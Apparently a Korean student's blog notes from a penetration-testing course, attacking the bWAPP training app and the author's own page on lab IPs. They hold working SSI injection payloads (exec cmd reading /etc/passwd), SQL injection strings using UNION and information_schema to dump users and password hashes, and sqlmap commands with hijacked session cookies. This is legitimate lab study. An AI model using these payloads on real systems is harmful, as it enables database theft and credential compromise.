yumyum

[bWAPP] ssl injection, SQL injection 본문

ICT기반 클라우드 네트워크 해킹 침해대응전문가/모의해킹

[bWAPP] ssl injection, SQL injection

yumyum0603 2023. 11. 9. 11:26

[server-side includes ssl injection]

 

ssii.php

ssii.shtml

 

<!--#echo var="REMOTE_ADDR" -->

<!--#echo var="DATE_LOCAL" -->

 

@evall //exec cmd ==

<!--#echo var="REMOTE_ADDR" -->

<!--#exec cmd="ls" -->

<!--#exec cmd="cat/etc/passwd" -->


 

 

## SQL 인젝션
123 title genre year character


SELECT TITLE, R, C, G, L FROM MOVIES ;
SELECT TITLE, R, C, G, L FROM MOVIES WHERE ID=3;

$a=G.I
SELECT TITLE, R, C, G, L FROM MOVIES WHERE title =*'$a'*;
=> G.I 검색했을때 값나오게하는 구문 유추


DB -> TABLE => 열갯수 확인

mysql_conli("SELECT TITLE, R, C, G, L FROM MOVIES WHERE title =*' ' or 1=1 ;
' *;")
mysql_conli("SELECT TITLE, R, C, G, L FROM MOVIES WHERE title =*"$a'*;")
" or 1 =1 #;
' or 1=1 #;


mysql> SELECT * FROM movies WHERE id=0 union SELECT all 1,2,3,4 ; => 에러
mysql> SELECT * FROM movies WHERE id=0 union SELECT all 1,2,3,4,5,6,7 ;
=> 7번까지 실행하면 에러가 x // 열의 갯수 확인할 수 있음

SQL 인젝션 점검 순서
1. 웹 페이지 동작 방식 확인 후 PHP구문 유추
2. PHP 구문에 실리는 SQL 구문 유추
3. " or 1 =1 ; // ' or 1=1 ; 통해 내가 원하는 구문 웹 -> DB 보내기
4. 열 갯수, 순서 유추
5. 열에 함수, 악성 데이터 => union으로 웹 페이지 게시

5. 열에 악성데이터 넣어보기

### SQL Injection (GET/Search)
[URL창]
http://192.168.50.26/bWAPP/sqli_1.php?title='or1=1#
http://192.168.50.26/bWAPP/sqli_1.php?title="or1=1#

http://192.168.50.26/bWAPP/sqli_1.php?title=' union select all 1,2,3,4,5,6,7' #&action=search

[검색창]
' union select all 1,2,3,4,5,6,7# => 2,3,5,4 열이 웹에서 출력됨을 확인
' union select all 1,@@version,database(),user(),@@datadir,6,7# => 시스템 함수를 통해 서버의 정보 조회

' union select all 1,table_name,3,4,5,6,7 from information_schema.tables# =>information_schema를 통해 DB 전체 내용 확인 가능
' union select all 1,column_name,3,4,5,6,7 from information_schema.columns where table_name = 'user'# 
' union select all 1,concat(id,login),password,email,secret,6,7 from users #

bee password => 암호화 돼서 DB 저장
6885858486f31043e5839c735d99457f045affd0 

kali에서 hash-identifier입력 -> 암호화된 문자 삽입 -> sha1로 출력됨 -> 복호화하면 bug라는 패스워드임을 알 수 있음


## SQL 인젝션 (GET/SELECT)
SELECT 2,3,4,5 FROM movies WHERE id=[];

' or 1=1 ;
" or 1=1 ; => 변수가 문자열 일 때

' or 1=1 #;
" or 1=1 #; => 변수가 문자열 일 때, 공격구문 뒤에 구문이 남아있을때

or 1=1 ;
or 1=1 #;  => 변수가 정수일때

http://192.168.50.26/bWAPP/sqli_2.php?movie=1' or 1=1; &action=go
http://192.168.50.26/bWAPP/sqli_2.php?movie=1' or 1=1 #; &action=go

http://192.168.50.26/bWAPP/sqli_2.php?movie=1 or 1=1 ; &action=go
http://192.168.50.26/bWAPP/sqli_2.php?movie=1 or 1=1 #; &action=go

http://192.168.50.26/bWAPP/sqli_2.php?movie=1 or 1=1 limit 1,1 #; &action=go
http://192.168.50.26/bWAPP/sqli_2.php?movie=1 or 1=1 limit 2,1 #; &action=go
http://192.168.50.26/bWAPP/sqli_2.php?movie=1 or 1=1 limit 3,1 #; &action=go

=> limit로 원하는 열 출력 (사용자가 1을 선택했지만, 2,3'''이 나오게)

## SQL Injection (POST/Search)

PHPSESSID=0b7b45802075762aba9b262081de0baf; security_level=0 => 쿠키값 인터셉트로 얻기


sqlmap -u "http://192.168.50.26/bWAPP/sqli_1.php?title=aaaaa&action=search"-b -v 3 -p title --cookie "PHPSESSID=563e9d31d839f90fb88804534b7b9b43; security_level=0" -D bWAPP -T users --dump
=> 파이썬에 입력하여 패스워드 알아내기

=> -D(database)[데이터베이스]-T(테이블)[테이블]



## Quiz1) 

- 내가 만들어놓은 고객정보 페이지 usertbl=> sqlmap조회해보기

 

첫 페이지를 봤을때 변수로 보이는 곳이 없음

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

회원 조회 => 수정에 들어가면 변수가 나타남

 

칼리에서

sqlmap -u "http://192.168.50.40/member/update.php?userID=1" --dbs 명령어로 데이터 찾기

현재 존재하는 데이터베이스 목록들을 볼 수 있음

고객페이지를 내가 만들어서 나는 sqldb 데이터베이스에 usertbl이 있는걸 알아서 바로 sqldb로 접속할테지만,

내가만든 페이지가 아니라면 저 데이터베이스들을 하나씩 들어가서 찾아봐야한다.

 

sqlmap -u "http://192.168.50.40/member/update.php?userID=1" -D sqldb --tables

데이터베이스 값은 알기에 -D  뒤에 sqldb를 넣어주고 테이블 목록을 보기 위해 --tables 입력해주기

usertbl이 테이블로 존재하는것을 확인

테이블 안의 정보를 보려면 --dump를 입력해야 볼 수 있다.

 

sqlmap -u "http://192.168.50.40/member/update.php?userID=1" -D sqldb -T usertbl --dump

 

usertbl 테이블 안에 있는 값들을 확인할 수 있다


##Quiz2) 다른 서버 비밀번호 트레킹

내가 트레킹할 아이피 192.168.50.26

 

Burp로에서 open browser을 하여 크롬창을 열어준다 -> 창에서 192.168.50.26 접속

ID : bee PW : bug로 로그인

SQL Injection 창으로 들어오기 -> Burp Intercept on으로 켜주기

 

창에 아무값이나 입력해주기

Burp에서 Intercept한 쿠키값 확인 => security_level=0; PHPSESSID=4e1427dd5e81d1c87919f87d619c014d

URL에서도 입력해준 값이 나타난다 => http://192.168.50.26/bWAPP/sqli_1.php?title=aaaa&action=search

 

sqlmap -u " http://192.168.50.26/bWAPP/sqli_1.php?title=aaaa&action=search"-b -v 3 -p title --cookie " security_level=0; PHPSESSID=4e1427dd5e81d1c87919f87d619c014d " -D bWAPP -T users --dump

 

찾은 쿠키값, url로 조합하여 sqlmap 해준다

 

암호화된 패스워드 확인 => 복호화하여 패스워드를 알 수 있음